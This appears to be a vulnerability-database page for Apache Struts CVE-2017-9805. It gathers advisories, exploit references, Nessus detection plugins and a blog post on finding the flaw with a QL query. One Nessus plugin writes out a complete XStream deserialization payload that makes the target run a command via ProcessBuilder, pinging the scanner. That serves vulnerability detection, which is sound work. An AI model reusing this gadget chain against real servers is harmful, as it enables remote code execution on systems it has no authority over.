Vulnerabilities > CVE-2017-9805 - Deserialization of Untrusted Data vulnerability in Apache Struts

047910
CVSS 6.8 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
apache
CWE-502
nessus
exploit available
metasploit

Summary

The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.

Common Weakness Enumeration (CWE)

D2sec

nameApache Struts REST Plugin XStream RCE
urlhttp://www.d2sec.com/exploits/apache_struts_rest_plugin_xstream_rce.html

Exploit-Db

descriptionApache Struts 2.5 - Remote Code Execution. CVE-2017-9805. Remote exploit for Linux platform
fileexploits/linux/remote/42627.py
idEDB-ID:42627
last seen2017-09-07
modified2017-09-06
platformlinux
port
published2017-09-06
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/42627/
titleApache Struts 2.5 - Remote Code Execution
typeremote

Metasploit

descriptionApache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12, using the REST plugin, are vulnerable to a Java deserialization attack in the XStream library.
idMSF:EXPLOIT/MULTI/HTTP/STRUTS2_REST_XSTREAM
last seen2020-06-08
modified2019-07-10
published2017-09-06
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/struts2_rest_xstream.rb
titleApache Struts 2 REST Plugin XStream RCE

Nessus

  • NASL familyCGI abuses
    NASL idMYSQL_ENTERPRISE_MONITOR_3_4_3_4225.NASL
    descriptionAccording to its self-reported version, the MySQL Enterprise Monitor application running on the remote host is 3.2.x prior to 3.2.9.2249, 3.3.x prior to 3.3.5.3292, or 3.4.x prior to 3.4.3.4225. It is, therefore, affected by multiple vulnerabilities as noted in the October 2017 Critical Patch Update advisory. Please consult the CVRF details for the applicable CVEs for additional information. Note that Nessus has not tested for these issues but has instead relied only on the application
    last seen2020-06-01
    modified2020-06-02
    plugin id103536
    published2017-09-28
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/103536
    titleMySQL Enterprise Monitor 3.2.x < 3.2.9.2249 / 3.3.x < 3.3.5.3292 / 3.4.x < 3.4.3.4225 Multiple Vulnerabilities (October 2017 CPU)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(103536);
      script_version("1.11");
      script_cvs_date("Date: 2019/11/12");
    
      script_cve_id("CVE-2017-5664", "CVE-2017-9787", "CVE-2017-10424");
      script_bugtraq_id(98888, 99562, 101381);
    
      script_name(english:"MySQL Enterprise Monitor 3.2.x < 3.2.9.2249 / 3.3.x < 3.3.5.3292 / 3.4.x < 3.4.3.4225 Multiple Vulnerabilities (October 2017 CPU)");
      script_summary(english:"Checks the version of MySQL Enterprise Monitor.");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web application running on the remote host is affected by a denial
    of service vulnerability in apache struts 2.");
      script_set_attribute(attribute:"description", value:
    "According to its self-reported version, the MySQL Enterprise Monitor
    application running on the remote host is 3.2.x prior to 3.2.9.2249,
    3.3.x prior to 3.3.5.3292, or 3.4.x prior to 3.4.3.4225.
    It is, therefore, affected by multiple vulnerabilities as
    noted in the October 2017 Critical Patch Update advisory. Please
    consult the CVRF details for the applicable CVEs for additional
    information.
    
    Note that Nessus has not tested for these issues but has instead
    relied only on the application's self-reported version number.");
      # https://www.oracle.com/technetwork/security-advisory/cve-2017-9805-products-3905487.html#AppendixMSQL
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0d67d494");
      # http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html#AppendixMSQL
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6b8727c4");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to MySQL Enterprise Monitor version 3.2.9.2249 / 3.3.5.3292 / 
    3.4.3.4225 or later as referenced in the Oracle security advisory.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-10424");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/03/24");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/07/18");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/28");
    
      script_set_attribute(attribute:"potential_vulnerability", value:"true");
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:oracle:mysql_enterprise_monitor");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("mysql_enterprise_monitor_web_detect.nasl");
      script_require_keys("installed_sw/MySQL Enterprise Monitor", "Settings/ParanoidReport");
      script_require_ports("Services/www", 18443);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("install_func.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    app  = "MySQL Enterprise Monitor";
    get_install_count(app_name:app, exit_if_zero:TRUE);
    
    port = get_http_port(default:18443);
    install = get_single_install(app_name:app, port:port, exit_if_unknown_ver:TRUE);
    version = install['version'];
    install_url = build_url(port:port, qs:"/");
    
    fixes = { 
              "^3.4": "3.4.3.4225",
              "^3.3": "3.3.5.3292",
              "^3.2": "3.2.9.2249"
            };
    
    vuln = FALSE;
    fix = '';
    foreach (prefix in keys(fixes))
    {
      if (version =~ prefix && ver_compare(ver:version,
                                           fix:fixes[prefix],
                                           strict:FALSE) < 0)
      {
        vuln = TRUE;
        fix = fixes[prefix];
        break;
      }
    }
    
    if (vuln)
    {
      report =
        '\n  URL               : ' + install_url +
        '\n  Installed version : ' + version +
        '\n  Fixed version     : ' + fix +
        '\n';
      security_report_v4(port:port, severity:SECURITY_WARNING, extra:report);
    }
    else audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url, version);
    
  • NASL familyMisc.
    NASL idSTRUTS_2_5_13.NASL
    descriptionThe version of Apache Struts running on the remote host is 2.1.x subsequent or equal to 2.1.2, 2.2.x, 2.3.x prior to 2.3.34, or 2.5.x prior to 2.5.13. It is, therefore, affected by multiple vulnerabilities: - A remote code execution vulnerability in the REST plugin. The Struts REST plugin uses an XStreamHandler with an instance of XStream for deserialization and does not perform any type filtering when deserializing XML payloads. This can allow an unauthenticated, remote attacker to execute arbitrary code in the context of the Struts REST plugin by sending a specially crafted XML payload. (CVE-2017-9805) - A denial of service vulnerability in the XStream XML deserializer in the XStreamHandler used by the REST plugin. (CVE-2017-9793) - A denial of service vulnerability when using URLValidator. (CVE-2017-9804) - A flaw exists related to
    last seen2020-06-01
    modified2020-06-02
    plugin id102960
    published2017-09-05
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102960
    titleApache Struts 2.1.x >= 2.1.2 / 2.2.x / 2.3.x < 2.3.34 / 2.5.x < 2.5.13 Multiple Vulnerabilities (S2-050 - S2-053)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(102960);
      script_version("1.16");
      script_cvs_date("Date: 2019/02/15 10:32:14");
    
      script_cve_id(
        "CVE-2017-9793",
        "CVE-2017-9804",
        "CVE-2017-9805",
        "CVE-2017-12611"
      );
      script_bugtraq_id(100609, 100611, 100612, 100829);
    
      script_name(english:"Apache Struts 2.1.x >= 2.1.2 / 2.2.x / 2.3.x < 2.3.34 / 2.5.x < 2.5.13 Multiple Vulnerabilities (S2-050 - S2-053)");
      script_summary(english:"Checks the Struts 2 version.");
    
      script_set_attribute(attribute:"synopsis", value:
    "A web application running on the remote host uses a Java framework
    that is affected by multiple vulnerabilities.");
      script_set_attribute(attribute:"description", value:
    "The version of Apache Struts running on the remote host is 2.1.x
    subsequent or equal to 2.1.2, 2.2.x, 2.3.x prior to 2.3.34, or 2.5.x
    prior to 2.5.13. It is, therefore, affected by multiple
    vulnerabilities:
    
      - A remote code execution vulnerability in the REST plugin. The
        Struts REST plugin uses an XStreamHandler with an instance of
        XStream for deserialization and does not perform any type
        filtering when deserializing XML payloads. This can allow an
        unauthenticated, remote attacker to execute arbitrary code in the
        context of the Struts REST plugin by sending a specially crafted
        XML payload. (CVE-2017-9805)
    
      - A denial of service vulnerability in the XStream XML deserializer
        in the XStreamHandler used by the REST plugin. (CVE-2017-9793)
    
      - A denial of service vulnerability when using URLValidator.
        (CVE-2017-9804)
    
      - A flaw exists related to 'freemarker' tags, expression literals,
        'views/freemarker/FreemarkerManager.java', and forced
        expressions that allows arbitrary code execution.
        (CVE-2017-12611)
    
    Note that Nessus has not tested for these issues but has instead
    relied only on the application's self-reported version number.");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-050");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-051");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-052");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-053");
      script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement");
      script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2017-9805");
      # https://www.cisecurity.org/advisory/vulnerability-in-apache-struts-could-allow-for-remote-code-execution-3/
      script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?45c4be36");
      script_set_attribute(attribute:"see_also", value:"https://seclists.org/oss-sec/2017/q3/406");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apache Struts version 2.3.34 or 2.5.13 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-12611");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts REST Plugin XStream RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 REST Plugin XStream RCE');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/09/05");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/09/05");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/05");
    
      script_set_attribute(attribute:"agent", value:"all");
      script_set_attribute(attribute:"plugin_type", value:"combined");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
      script_set_attribute(attribute:"potential_vulnerability", value:"true");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("os_fingerprint.nasl", "struts_detect_win.nbin", "struts_detect_nix.nbin", "struts_config_browser_detect.nbin");
      script_require_keys("Settings/ParanoidReport");
      script_require_ports("installed_sw/Apache Struts","installed_sw/Struts");
    
      exit(0);
    }
    
    include("vcf.inc");
    
    if (report_paranoia < 2) audit(AUDIT_PARANOID);
    
    
    app_info = vcf::combined_get_app_info(app:"Apache Struts");
    
    vcf::check_granularity(app_info:app_info, sig_segments:3);
    
    constraints = [
      { "min_version" : "2.1.2", "fixed_version" : "2.3.34" },
      { "min_version" : "2.5.0", "fixed_version" : "2.5.13" }
    ];
    
    vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
    
  • NASL familyCGI abuses
    NASL idSTRUTS_2_5_13_REST_RCE.NASL
    descriptionThe remote web application appears to use the Apache Struts 2 web framework. A remote code execution vulnerability exists in the REST plugin, which uses XStreamHandler to insecurely deserialize user-supplied input in XML requests. An unauthenticated, remote attacker can exploit this, via a specially crafted XML request, to execute arbitrary code. Note that this plugin only reports the first vulnerable instance of a Struts 2 application.
    last seen2020-06-01
    modified2020-06-02
    plugin id102977
    published2017-09-06
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/102977
    titleApache Struts 2 REST Plugin XStream XML Request Deserialization RCE
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(102977);
      script_version("1.16");
      script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
    
      script_cve_id("CVE-2017-9805");
    
      script_name(english:"Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE");
      script_summary(english:"Attempts to execute arbitrary code.");
    
      script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a web application that uses a Java
    framework that is affected by a remote code execution vulnerability.");
      script_set_attribute(attribute:"description", value:
    "The remote web application appears to use the Apache Struts 2 web
    framework. A remote code execution vulnerability exists in the REST
    plugin, which uses XStreamHandler to insecurely deserialize
    user-supplied input in XML requests. An unauthenticated, remote
    attacker can exploit this, via a specially crafted XML request, to
    execute arbitrary code.
    
    Note that this plugin only reports the first vulnerable instance of a
    Struts 2 application.");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/S2-052");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34");
      script_set_attribute(attribute:"see_also", value:"https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13");
      script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement");
      script_set_attribute(attribute:"see_also", value:"https://lgtm.com/blog/apache_struts_CVE-2017-9805");
      script_set_attribute(attribute:"see_also", value:"https://github.com/jas502n/St2-052");
      script_set_attribute(attribute:"solution", value:
    "Upgrade to Apache Struts version 2.3.34 or 2.5.13 or later.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
      script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
      script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-9805");
    
      script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_core", value:"true");
      script_set_attribute(attribute:"d2_elliot_name", value:"Apache Struts REST Plugin XStream RCE");
      script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_set_attribute(attribute:"metasploit_name", value:'Apache Struts 2 REST Plugin XStream RCE');
      script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2017/09/05");
      script_set_attribute(attribute:"patch_publication_date", value:"2017/09/05");
      script_set_attribute(attribute:"plugin_publication_date", value:"2017/09/06");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2017-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80, 8080);
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("http.inc");
    include("misc_func.inc");
    include("torture_cgi.inc");
    include("url_func.inc");
    
    port = get_http_port(default:8080);
    cgis = get_kb_list('www/' + port + '/cgi');
    
    urls = make_list();
    # To identify actions that we can test the exploit on we will look
    # for files with the .action / .jsp / .do suffix from the KB.
    if (!isnull(cgis))
    {
      foreach cgi (cgis)
      {
        match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
        if (match)
        {
          urls = make_list(urls, match[0]);
          if (!thorough_tests) break;
        }
        match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
        if (!isnull(match2))
        {
          urls = make_list(urls, match2[0]);
          if (!thorough_tests) break;
        }
        match4 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
        if (!isnull(match4))
        {
          urls = make_list(urls, match4[0]);
          if (!thorough_tests) break;
        }
        if (cgi =~ "struts2?(-rest)?-showcase")
        {
          urls = make_list(urls, cgi);
          if (!thorough_tests) break;
        }
      }
    }
    
    if (thorough_tests)
    {
      cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
      if (!isnull(cgi2)) urls = make_list(urls, cgi2);
    
      cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
      if (!isnull(cgi3)) urls = make_list(urls, cgi3);
    
      cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
      if (!isnull(cgi4)) urls = make_list(urls, cgi4);
    }
    
    # Always check web root
    urls = make_list(urls, "/");
    
    # Struts is slow
    timeout = get_read_timeout() * 2;
    if(timeout < 10)
      timeout = 10;
    
    urls = list_uniq(urls);
    scanner_ip = compat::this_host();
    target_ip = get_host_ip();
    vuln = FALSE;
    
    ua = get_kb_item("global_settings/http_user_agent");
    if (empty_or_null(ua))
      ua = 'Nessus';
    
    pat = hexstr(rand_str(length:10));
    
    os = get_kb_item("Host/OS");
    if (!empty_or_null(os) && "windows" >< tolower(os))
    {
      ping_cmd = 'ping</string><string>-n</string><string>3</string><string>-l</string><string>500</string><string>' + scanner_ip;
      filter = "icmp and icmp[0] = 8 and src host " + target_ip + " and greater 500";
    }
    else
    {
      ping_cmd = "ping</string><string>-c</string><string>3</string><string>-p</string><string>" + pat + "</string><string>" + scanner_ip;
      filter = "icmp and icmp[0] = 8 and src host " + target_ip;
    }
    
    foreach url (urls)
    {
      soc = open_sock_tcp(port);
      if (!soc) audit(AUDIT_SOCK_FAIL, port);
    
      post_payload = '<map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><initialized>false</initialized><opmode>0</opmode><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>' +
      ping_cmd +
      '</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer><done>false</done><ostart>0</ostart><ofinish>0</ofinish><closed>false</closed></is><consumed>false</consumed></dataSource><transferFlavors/></dataHandler><dataLen>0</dataLen></value></jdk.nashorn.internal.objects.NativeString><jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/></entry><entry><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/><jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/></entry></map>';
    
      attack_url = url;
    
      req =
        'POST ' + attack_url + ' HTTP/1.1\n' +
        'Host: ' + target_ip + ':' + port + '\n' +
        'User-Agent: ' + ua + '\n' +
        'Accept-Language: en-US\n' +
        'Content-Type: application/xml\n' +
        'Content-Length: ' + strlen(post_payload) + '\n' +
        'Connection: Keep-Alive\n' +
        '\n' + post_payload;
    
      s = send_capture(socket:soc,data:req,pcap_filter:filter,timeout:timeout);
      icmp = tolower(hexstr(get_icmp_element(icmp:s,element:"data")));
      close(soc);
    
      if ("windows" >< tolower(os) && !isnull(icmp))
      {
        vuln = TRUE;
        vuln_url = req;
        report =
          '\nNessus confirmed this issue by examining ICMP traffic. '+
          'Below is the response :' +
          '\n\n' + snip +
          '\n' + icmp +
          '\n' + snip +
          '\n';
        break;
      }
      else if (pat >< icmp)
      {
        vuln = TRUE;
        vuln_url = req;
        report =
          '\nNessus confirmed this issue by examining ICMP traffic and looking for'+
          '\nthe pattern sent in our packet (' + pat + '). Below is the response :'+
          '\n\n' + snip +
          '\n' + icmp +
          '\n' + snip +
          '\n';
        break;
      }
    
      # Stop after first vulnerable Struts app is found
      if (vuln) break;
    }
    
    if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');
    
    security_report_v4(
      port       : port,
      severity   : SECURITY_WARNING,
      generic    : TRUE,
      request    : make_list(vuln_url),
      output     : report
    );
    

Packetstorm

Saint

bid100609
descriptionApache Struts REST plugin XStream deserialization vulnerability
idweb_dev_struts2xstreamrce
titlestruts_rest_plugin_xstream
typeremote

Seebug

bulletinFamilyexploit
descriptionIn this post I'll describe how I customized a standard lgtm query to find a remote code execution vulnerability in [Apache Struts](https://struts.apache.org/). A more general announcement about this vulnerability [can be found here](https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement). It has been assigned [CVE-2017-9805](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805), a security bulletin can be found here on the Struts website, and details of version 2.5.13 of Apache Struts that addresses this vulnerability [are available here](https://struts.apache.org/announce.html). Due to the severe nature of this vulnerability, a couple of details (including a working exploit) have been omitted from this post; this information will be added in a few weeks' time. We strongly advise users of Struts to upgrade to the latest version to mitigate this security risk. The vulnerability I discovered is a result of unsafe deserialization in Java. Multiple similar vulnerabilities have come to light in recent years, after Chris Frohoff and Gabriel Lawrence discovered a deserialization flaw in Apache Commons Collections that can lead to arbitrary code execution. Many Java applications have since been affected by such vulnerabilities. If you'd like to know more about this type of vulnerability, the lgtm documentation page on this topic is a good place to start. # Detecting unsafe deserialization in Struts # lgtm identifies alerts in code using queries written in a specially-designed language: QL. One of the many queries for Java detects potentially unsafe deserialization of user-controlled data. The query identifies situations in which unsanitized data is deserialized into a Java object. This includes data that comes from an HTTP request or from any other socket connection. This query detects common ways through which user-controlled data flows to a deserialization method. However, some projects use a slightly different approach to receive remote user input. For example, Apache Struts uses the ContentTypeHandler interface. This converts data into Java objects. Since implementations of this interface usually deserialize the data passed to them, every class that implements this interface is potentially of interest. The standard QL query for detecting unsafe deserialization of user-controlled data can easily be adapted to recognize this additional method for processing user input. This is done by defining a custom data source. In this case, we are interested in data flowing from the toObject method, which is defined in the ContentTypeHandler interface: void toObject(Reader in, Object target); The data contained in the first argument in that is passed to toObject should be considered tainted: it is under the control of a remote user and should not be trusted. We want to find places where this tainted data (the source) flows into a deserialization method (a sink) without input validation or sanitization. The QL DataFlow library provides functionality for tracking tainted data through various steps in the source code. This is known as taint tracking. For example, data gets tracked through various method calls: IOUtils.copy(remoteUserInput, output); // output is now also tainted because the function copy preserves the data. To make use of the taint tracking functionality in the DataFlow library, let's define the in argument to ContentTypeHandler.toObject(...) as a tainted source. First, we define how the query should recognize the ContentTypeHandler interface and the method toObject. /** The ContentTypeHandler Java class in Struts **/ class ContentTypeHandler extends Interface { ContentTypeHandler() { this.hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") } } /** The method `toObject` */ class ToObjectDeserializer extends Method { ToObjectDeserializer() { this.getDeclaringType().getASupertype*() instanceof ContentTypeHandler and this.getSignature = "toObject(java.io.Reader,java.lang.Object)" } } Here we use getASupertype*() to restrict the matching to any class that has ContentTypeHandler as a supertype. Next we want to mark the first argument of the toObject method as an untrusted data source, and track that data as it flows through the code paths. To do that, we extend the FlowSource class in QL's dataflow library: /** Mark the first argument of `toObject` as a dataflow source **/ class ContentTypeHandlerInput extends FlowSource { ContentTypeHandlerInput() { exists(ToObjectDeserializer des | des.getParameter(0).getAnAccess() = this ) } } Intuitively, this definition says that any access to the first parameter of a toObject method, as captured by ToObjectDeserializer above, is a flow source. Note that for technical reasons, flow sources have to be expressions. Therefore, we identify all accesses of that parameter (which are expressions) as sources, rather than the parameter itself (which isn't). Now that we have the definition for a dataflow source, we can look for places where this tainted data is used in an unsafe deserialization method. We don't have to define that method (the sink) ourselves as it is already in the Deserialization of user-controlled data query (line 64: UnsafeDeserializationSink, we will need to copy its definition into the query console). Using this, our final query becomes: from ContentTypeHandlerInput source, UnsafeDeserializationSink sink where source.flowsTo(sink) select source, sink Here we use the .flowsTo predicate in FlowSource for tracking so that we only identify the cases when unsafe deserialization is performed on a ContentTypeHandlerInput source. When I ran the customized query on Struts there was exactly one result (Running it now will yield no result as the fix has been applied). I verified that it was a genuine remote code execution vulnerability before reporting it to the Struts security team. They have been very quick and responsive in working out a solution even though it is a fairly non-trivial task that requires API changes. Due to the severity of this finding I will not disclose more details at this stage. Rather, I will update this blog post in a couple of weeks' time with more information. # Vendor Response # 17 July 2017: Initial disclosure. 02 August 2017: API changes in preparation for patch. 14 August 2017: Patch from Struts for review. 16 August 2017: Vulnerability officially recognized as CVE-2017-9805 5 September 2017: Struts version 2.5.13 released # Mitigate unsafe deserialization risk with lgtm # lgtm runs the standard Deserialization of user-controlled data query on all Java projects. If your project uses deserialization frameworks detected by that query, and has user-controlled data reaching a deserialization method, you may see relevant alerts for this query on lgtm.com. Check any results carefully. You can also enable lgtm's pull request integration to prevent serious security issues like these from being merged into the code base in the first place. If your project uses other deserialization frameworks, then you can use the query console to create your own custom version of the standard query.
idSSV:96420
last seen2017-11-19
modified2017-09-06
published2017-09-06
reporterRoot
titleApache Struts2 S2-052 (CVE-2017-9805)

The Hacker News